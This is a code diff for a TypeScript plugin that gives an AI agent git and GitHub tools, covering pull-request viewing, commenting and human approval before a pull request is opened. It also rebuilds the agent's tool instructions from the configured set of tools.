983
|
-
}),
|
|
984
|
-
execute: async ({ dir, number }) => {
|
|
985
|
-
const target = await forgeRepo(dir);
|
|
986
|
-
if ("refusal" in target)
|
|
987
|
-
return target.refusal;
|
|
988
|
-
const { owner, repo } = target;
|
|
989
|
-
const pr = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
|
|
990
|
-
if (!pr.ok)
|
|
991
|
-
return bounded(pr.message);
|
|
992
|
-
const data = pr.data;
|
|
993
|
-
const files = await forge("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${FORGE_PAGE_SIZE}`);
|
|
994
|
-
const changed = (files.ok && Array.isArray(files.data) ? files.data : []);
|
|
995
|
-
const moreFiles = changed.length >= FORGE_PAGE_SIZE;
|
|
996
|
-
return bounded([
|
|
997
|
-
`#${number} ${data.title ?? "(no title)"}`,
|
|
998
|
-
`${data.merged ? "merged" : (data.state ?? "?")}` +
|
|
999
|
-
(data.draft ? " (draft)" : "") +
|
|
1000
|
-
// `mergeable` is computed asynchronously by GitHub and is `null`
|
|
1001
|
-
// until it has been, which is common on a pull request opened
|
|
1002
|
-
// seconds ago — exactly when this tool is most likely to be called.
|
|
1003
|
-
(data.mergeable === null
|
|
1004
|
-
? ", mergeability not yet computed"
|
|
1005
|
-
: data.mergeable === false
|
|
1006
|
-
? ", NOT mergeable"
|
|
1007
|
-
: ""),
|
|
1008
|
-
`${data.head?.ref ?? "?"} → ${data.base?.ref ?? "?"}`,
|
|
1009
|
-
data.html_url ?? "",
|
|
1010
|
-
"",
|
|
1011
|
-
changed.length
|
|
1012
|
-
? changed
|
|
1013
|
-
.map((f) => ` ${f.filename ?? "?"} (+${f.additions ?? 0} -${f.deletions ?? 0})`)
|
|
1014
|
-
.join("\n")
|
|
1015
|
-
: files.ok
|
|
1016
|
-
? " (no files reported)"
|
|
1017
|
-
: " (changed files could not be read)",
|
|
1018
|
-
...(moreFiles
|
|
1019
|
-
? [
|
|
1020
|
-
`\n(showing the first ${FORGE_PAGE_SIZE} files; this pull request ` +
|
|
1021
|
-
`touches more)`
|
|
1022
|
-
]
|
|
1023
|
-
: [])
|
|
1024
|
-
].join("\n"));
|
|
1025
|
-
}
|
|
1026
|
-
}),
|
|
1027
|
-
repo_pr_comment: tool({
|
|
1028
|
-
description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished.",
|
|
1029
|
-
inputSchema: z.object({
|
|
1030
|
-
dir: z.string().describe("The checkout directory"),
|
|
1031
|
-
number: z
|
|
1032
|
-
.number()
|
|
1033
|
-
.int()
|
|
1034
|
-
.positive()
|
|
1035
|
-
.describe("Pull request or issue number"),
|
|
1036
|
-
body: z.string().describe("The comment, as markdown")
|
|
1037
|
-
}),
|
|
1038
|
-
execute: async ({ dir, number, body }) => {
|
|
1039
|
-
const target = await forgeRepo(dir);
|
|
1040
|
-
if ("refusal" in target)
|
|
1041
|
-
return target.refusal;
|
|
1042
|
-
const { owner, repo } = target;
|
|
1043
|
-
const posted = await forge("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
|
|
1044
|
-
if (!posted.ok)
|
|
1045
|
-
// The same hazard `repo_open_pr` names, for the same reason: a POST
|
|
1046
|
-
// whose answer never arrived may still have been received, and a blind
|
|
1047
|
-
// retry is how one comment becomes two.
|
|
1048
|
-
return bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
|
|
1049
|
-
`comment may exist anyway — read it back with repo_issue_view before retrying.`);
|
|
1050
|
-
const data = posted.data;
|
|
1051
|
-
return data.html_url ?? `commented on #${number}`;
|
|
1052
|
-
}
|
|
1053
|
-
})
|
|
1054
|
-
};
|
|
1055
|
-
/**
|
|
1056
|
-
* Where a pull request is opened, as the person approving it reads it: the
|
|
1057
|
-
* host, owner and repository of the checkout's origin — what the tool resolves
|
|
1058
|
-
* when it runs. Never the directory's name, which says nothing about where
|
|
1059
|
-
* `.git/config` points. A checkout with no readable origin on an allowed host is
|
|
1060
|
-
* named by its path, and the tool refuses it when it runs.
|
|
1061
|
-
*/
|
|
1062
|
-
const destination = async (dir) => {
|
|
1063
|
-
const { remote } = await origin(dir);
|
|
1064
|
-
const parsed = remote ? parseRepo(remote.url, allowedHosts) : undefined;
|
|
1065
|
-
return remote && parsed
|
|
1066
|
-
? `${remote.host}/${parsed.owner}/${parsed.repo}`
|
|
1067
|
-
: `the checkout at ${approvalField(dir)}, whose origin could not be read`;
|
|
1068
|
-
};
|
|
1069
|
-
const approval = {
|
|
1070
|
-
repo_open_pr: async (input) => {
|
|
1071
|
-
const { dir, head, base, title } = input;
|
|
1072
|
-
return {
|
|
1073
|
-
type: "user-approval",
|
|
1074
|
-
reason: `Open a pull request on ${await destination(dir)} from \`${approvalField(head)}\` into \`${approvalField(base)}\`: ${approvalField(title)}`
|
|
1075
|
-
};
|
|
1076
|
-
}
|
|
1077
|
-
};
|
|
1078
|
-
return { tools, approval };
|
|
1079
|
-
}
|
|
1080
|
-
/**
|
|
1081
|
-
* The longest branch, title or path a person is shown in full before approving.
|
|
1082
|
-
* Every model-supplied field in a reason is cut to it, so no one input can bury
|
|
1083
|
-
* the rest of what they are deciding.
|
|
1084
|
-
*/
|
|
1085
|
-
const APPROVAL_FIELD_CHARS = 200;
|
|
1086
|
-
/** One model-supplied field of an approval reason, cut to {@link APPROVAL_FIELD_CHARS}. */
|
|
1087
|
-
function approvalField(text) {
|
|
1088
|
-
return text.length <= APPROVAL_FIELD_CHARS
|
|
1089
|
-
? text
|
|
1090
|
-
: `${text.slice(0, APPROVAL_FIELD_CHARS - 1)}…`;
|
|
1091
|
-
}
|
|
1092
|
-
/**
|
|
1093
|
-
* The repo tools a person approves before they run: opening a pull request, and
|
|
1094
|
-
* nothing else. Pushing a work branch and commenting run without asking.
|
|
1095
|
-
*
|
|
1096
|
-
* The reason is what the person reads beside Approve and Reject, so it says what
|
|
1097
|
-
* the call will do in their terms: which repository, from which branch into
|
|
1098
|
-
* which, and under what title. The repository is the checkout's origin, read
|
|
1099
|
-
* through the same lookup the tool runs, so a directory named after one
|
|
1100
|
-
* repository cannot present a pull request on another. The input has already
|
|
1101
|
-
* passed the tool's own schema. What a rule is, and whose calls it covers, is
|
|
1102
|
-
* core's to say — see `AgentPlugin.mainAgentToolApproval`.
|
|
1103
|
-
*/
|
|
1104
|
-
export function repoToolApproval(config) {
|
|
1105
|
-
return repoSurface(config).approval;
|
|
1106
|
-
}
|
|
1107
41
|
export function repo(config) {
|
|
42
|
+
const selected = new Set(config.tools ?? REPO_TOOL_NAMES);
|
|
43
|
+
const has = (name) => selected.has(name);
|
|
44
|
+
const only = (all) => Object.fromEntries(Object.entries(all).filter(([name]) => selected.has(name)));
|
|
45
|
+
const views = [
|
|
46
|
+
has("repo_issue_view") &&
|
|
47
|
+
"`repo_issue_view` reads an issue or pull request with its comments",
|
|
48
|
+
has("repo_pr_view") &&
|
|
49
|
+
"`repo_pr_view` shows a pull request's state and the files it touches",
|
|
50
|
+
has("repo_pr_comment") && "`repo_pr_comment` leaves a comment"
|
|
51
|
+
].filter((line) => typeof line === "string");
|
|
52
|
+
const worktrees = config.worktrees && [
|
|
53
|
+
has("repo_worktrees") &&
|
|
54
|
+
"`repo_worktrees` lists the worktrees your writing sub-agents committed in — each one's branch, whether a session is still in it, whether its commits are pushed — and releases one you will not keep.",
|
|
55
|
+
has("repo_worktree") &&
|
|
56
|
+
"`repo_worktree` points every repo tool and your file reads at the worktree holding a branch, and they stay there until you call it again — with no branch to come back to your own checkout."
|
|
57
|
+
];
|
|
58
|
+
const lines = [
|
|
59
|
+
has("repo_clone") &&
|
|
60
|
+
"`repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you" +
|
|
61
|
+
(has("repo_diff")
|
|
62
|
+
? " — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do."
|
|
63
|
+
: "."),
|
|
64
|
+
has("repo_fetch") &&
|
|
65
|
+
"`repo_fetch` brings a checkout's remote branches in without touching its tree" +
|
|
66
|
+
(has("repo_diff")
|
|
67
|
+
? " — how you review a branch someone else pushed, as `origin/<branch>` with `repo_diff`."
|
|
68
|
+
: "."),
|
|
69
|
+
has("repo_status") &&
|
|
70
|
+
has("repo_diff") &&
|
|
71
|
+
"`repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
72
|
+
has("repo_status") &&
|
|
73
|
+
!has("repo_diff") &&
|
|
74
|
+
"`repo_status` shows what you have changed.",
|
|
75
|
+
!has("repo_status") &&
|
|
76
|
+
has("repo_diff") &&
|
|
77
|
+
"`repo_diff` shows what changed. On a large change call it with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
78
|
+
has("repo_commit") && "`repo_commit` stages everything and commits.",
|
|
79
|
+
has("repo_push") &&
|
|
80
|
+
"`repo_push` pushes a branch the checkout holds, or creates one at the current commit. It refuses the default branch and other protected names, and it refuses a branch that adds no commit the remote does not already have — that is not negotiable.",
|
|
81
|
+
has("repo_open_pr") &&
|
|
82
|
+
"`repo_open_pr` opens the pull request and returns its URL.",
|
|
83
|
+
views.length > 0 &&
|
|
84
|
+
`${views.join(", ")}. ${views.length > 1 ? "Each acts" : "It acts"} on the repository you have checked out — read the issue a task refers to before guessing what it asks for.`,
|
|
85
|
+
has("repo_pr_review_status") &&
|
|
86
|
+
"`repo_pr_review_status` says whether a reviewer has finished. Ask it before reading a review: one that has not landed has left nothing, so an empty list of threads means nothing yet rather than nothing to do.",
|
|
87
|
+
has("repo_pr_threads") &&
|
|
88
|
+
"`repo_pr_threads` reads the review threads — the comments left on particular lines, which are not on the " +
|
|
89
|
+
(has("repo_issue_view")
|
|
90
|
+
? "timeline `repo_issue_view` shows."
|
|
91
|
+
: "pull request's timeline.") +
|
|
92
|
+
(has("repo_pr_thread_reply")
|
|
93
|
+
? " `repo_pr_thread_reply` answers one and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened."
|
|
94
|
+
: ""),
|
|
95
|
+
has("repo_pr_thread_reply") &&
|
|
96
|
+
!has("repo_pr_threads") &&
|
|
97
|
+
"`repo_pr_thread_reply` answers a review thread and resolves it. Answer every thread: say what you changed and where, or why you did not, and resolve it either way so the record says what happened.",
|
|
98
|
+
has("repo_pr_checks") &&
|
|
99
|
+
"`repo_pr_checks` says how a pull request's CI stands on its latest commit: what is still running, what failed and where to read why, and what passed.",
|
|
100
|
+
...(worktrees || [])
|
|
101
|
+
].filter((line) => typeof line === "string");
|
|
102
|
+
const rules = [
|
|
103
|
+
has("repo_push") && "Never push to the default branch.",
|
|
104
|
+
has("repo_open_pr") &&
|
|
105
|
+
"Finish by opening a pull request and reporting its URL."
|
|
106
|
+
].filter((line) => typeof line === "string");
|
|
107
|
+
const context = [
|
|
108
|
+
"You can work with git repositories:",
|
|
109
|
+
...lines.map((line) => `- ${line}`),
|
|
110
|
+
...(rules.length > 0 ? [rules.join(" ")] : [])
|
|
111
|
+
].join("\n");
|
|
1108
112
|
return definePlugin({
|
|
1109
|
-
|
|
1110
|
-
|
|
1111
|
-
|
|
1112
|
-
//
|
|
1113
|
-
|
|
1114
|
-
|
|
1115
|
-
|
|
113
|
+
name: "repo",
|
|
114
|
+
// `runtime` goes through to `exec` untouched and is read per command, so a
|
|
115
|
+
// sub-agent's git commands run in the same container its parent cloned
|
|
116
|
+
// into.
|
|
117
|
+
tools: (ctx) => {
|
|
118
|
+
const repoCtx = repoContext(config, ctx.runtime);
|
|
119
|
+
return only({
|
|
120
|
+
...cloneTools(repoCtx),
|
|
121
|
+
...worktreeTools(repoCtx),
|
|
122
|
+
...prTools(repoCtx),
|
|
123
|
+
...reviewTools(repoCtx),
|
|
124
|
+
...checkTools(repoCtx),
|
|
125
|
+
...(config.worktrees ? worktreesTools(config.worktrees) : {})
|
|
126
|
+
});
|
|
127
|
+
},
|
|
128
|
+
actions: (ctx) => {
|
|
129
|
+
const repoCtx = repoContext(config, ctx.runtime);
|
|
130
|
+
return only({ ...prActions(repoCtx), ...reviewActions(repoCtx) });
|
|
1116
131
|
},
|
|
1117
|
-
|
|
1118
|
-
"You can work with git repositories:",
|
|
1119
|
-
"- `repo_clone` checks one out into the workspace. The checkout may already be there from an earlier task, in which case it is fetched and reset for you — but if it has uncommitted changes it is left as-is, and you should read them with `repo_diff` before deciding what to do.",
|
|
1120
|
-
"- `repo_status` and `repo_diff` show what you have changed — read the diff before committing. On a large change call `repo_diff` with `stat: true` first to see which files moved, then read the ones that matter; output is truncated from the middle when it is large.",
|
|
1121
|
-
"- `repo_commit` stages everything and commits.",
|
|
1122
|
-
"- `repo_push` pushes a work branch. It refuses the default branch and other protected names, and it refuses a branch carrying no commits the default branch does not already have — that is not negotiable.",
|
|
1123
|
-
"- `repo_open_pr` opens the pull request and returns its URL.",
|
|
1124
|
-
"- `repo_issue_view` reads an issue or pull request with its comments, `repo_pr_view` shows a pull request's state and the files it touches, and `repo_pr_comment` leaves a comment. All three act on the repository you have checked out — read the issue a task refers to before guessing what it asks for.",
|
|
1125
|
-
"Never push to the default branch. Finish by opening a pull request and reporting its URL."
|
|
1126
|
-
].join("\n"),
|
|
132
|
+
context: [{ provider: { get: async () => context } }],
|
|
1127
133
|
requires: { secrets: ["GITHUB_TOKEN"] }
|
|
1128
134
|
});
|
|
1129
135
|
}
|